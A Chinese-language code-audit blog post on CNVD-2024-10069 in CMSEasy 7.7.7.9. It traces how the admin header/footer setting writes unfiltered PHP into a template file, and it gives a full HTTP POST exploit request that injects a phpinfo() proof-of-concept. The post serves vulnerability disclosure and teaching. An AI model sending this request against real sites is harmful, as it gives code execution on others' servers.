0x01:
这里分享一个我进行代码审计审到的一个高危漏洞——CNVD-2024-10069 的一个小tip
0x02:
这次审的还是之前写过的cmseasyV.7779
起初对于审之前我是先了解了这套cms的路由结构啥的,这个的话在之前投稿的那篇文章写过这里就不在做多余的累述,其次的话,我去CVE官网以及CNVD官网找了一下这套CMS之前爆出的一些漏洞。
发现他之前也爆出来过命令执行的漏洞
因此我们可以去利用我们强大的搜索引擎去看一下之前爆出的是什么样的命令执行漏洞
在CSDN上面找的了这篇文章
简单浏览一下文章后发现,这个漏洞主要是在后台的模板处有个自定义标签,并且可以添加一个自定义标签,参考文章可以猜测,这里的自定义标签是没有进行任何过滤
的,导致进行了一个拼接,使得可以进行命令执行。
0x03:
前期的了解工作已经做好了
本地小皮搭建一个cmseasy的网站,进入后台发现他后台的模板处和之前的话有着明显的区别
这里也曾尝试过编辑的功能,但是编辑不了。
于是便接着看了看这个CMS后台的功能点,功夫不负有心人,在设置里面发现了一个有趣的地方,这里可以在网站首页的页眉页脚处编辑代码
并且看到,他上面的前端代码存在file_exists函数,这不是很明显的PHP函数嘛。外加参考了之前他的那个命令执行的历史漏洞,可以在自定义标签处写入一个php的代码,会直接进行解析。于是猜测在这里写入一个<?php phpinfo();?>会不会也是可以直接进行解析的
成功getshell!
0x04
事后我们通过代码审计,了解一下该漏洞产生的原因:
先用burpsuite抓一下包,发现post传入了header参数的值
我们跟踪一下路由
很明显的发现header变量的值是我们可以控制的并且只进行了解码和反转义处理。
最里面的 htmlspecialchars_decode:将 front::$post['header'] 中的 HTML 实体解码一次。
第二个 htmlspecialchars_decode:将上一步的解码结果再进行一次 HTML 实体解码。
最外面的stripslashes:移除解码后的字符串中的所有反斜杠。
继续跟踪代码,看到存在file_put_contents 函数,会将$headerfile的值写入到header-js.html文件内
继续跟踪发现header-js.html会在template/default2020/header.html模板里面加载,也就是前文提到模板编辑处。
所以会在首页进行加载<?php phpinfo();?>,从而导致了命令执行的操作。
exp如下:
POST /index.php?case=thirdparty&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1360
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/index.php?admin_dir=admin
Cookie: PHPSESSID=nkfue0fm5pl34eeofvrp7ctfhq; loginfalse=0;
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1
submit=1&header=+%7Bif+file_exists(ROOT.%22%2Flib%2Ftable%2Fstatdetail.php%22)%7D%0A%3Cscript%3Evar+stat_catid%3D%3C%3Fphp+echo+isset(%24catid)%3F%24catid%3A0%3B+%3F%3E%3Bvar+stat_aid%3D%3C%3Fphp+echo+isset(%24archive)%3F%24archive%5B'aid'%5D%3A0%3B+%3F%3E%3C%2Fscript%3E%0A%3Cscript+src%3D%22%7B%24base_url%7D%2Fcommon%2Fplugins%2Fcmseasy_stat%2Fcmseasy_stat.js%22%3E%3C%2Fscript%3E%0A%7B%2Fif%7D%0A%0A%7Bif+file_exists(ROOT.%22%2Flib%2Ftable%2Fstat.php%22)%7D+%0A%3Cscript+src%3D%22%7B%24base_url%7D%2Fcommon%2Fplugins%2Fcmseasy_stat%2Fcmseasy_stat.js%22%3E%3C%2Fscript%3E%0A%0A%7B%2Fif%7D%0A%3C%3Fphp+phpinfo()%3B%3F%3E&foot=+%3C!--+%E5%B9%BB%E7%81%AF%E5%9B%BE%E7%89%87%E8%87%AA%E9%80%82%E5%BA%94+--%3E%0A%3Cstyle%3E%0A.pc-show%2C.wap-show+%7B%0A++++display%3Anone%3B%0A%7D%0A%0A.pc-show%2C.wap-show+%7B%0A++++display%3Anone%3B%0A%7D%0A%0A%40media+(min-width%3A+786px)+%7B%0A++++.pc-show+%7B%0A++++++++display%3A+block%3B%0A++++%7D%0A%7D%0A%0A%40media+(max-width%3A+786px)+%7B%0A++++.wap-show+%7B%0A++++++++display%3A+block%3B%0A++++%7D%0A%7D%0A.izl-rmenu+.edit%2C%0A.main-im+.edit+%7B%0A++++width%3A50px%3B%0A++++margin%3A0px+auto%3B%0A++++margin-bottom%3A1px%3B%0A++++display%3Anone%3B%0A%7D%0A%0A.erweima+img%2C%0A.wap-qr-code+img%2C%0A.checkout+img+%7B%0A++++max-width%3A+100%25+!important%3B%0A++++margin%3A0px+auto%3B%0A%7D%0A%3C%2Fstyle%3E&dosubmit=1
0x05:
总结一下,有些时候代码审计的时候,可以去参考之前爆出的一些漏洞,有可能他并没有完全进行修复且修复的不是很彻底或者其他地方也是存在着有点类似的漏洞,这样的话可以拓展我们代码审计时的一些思路。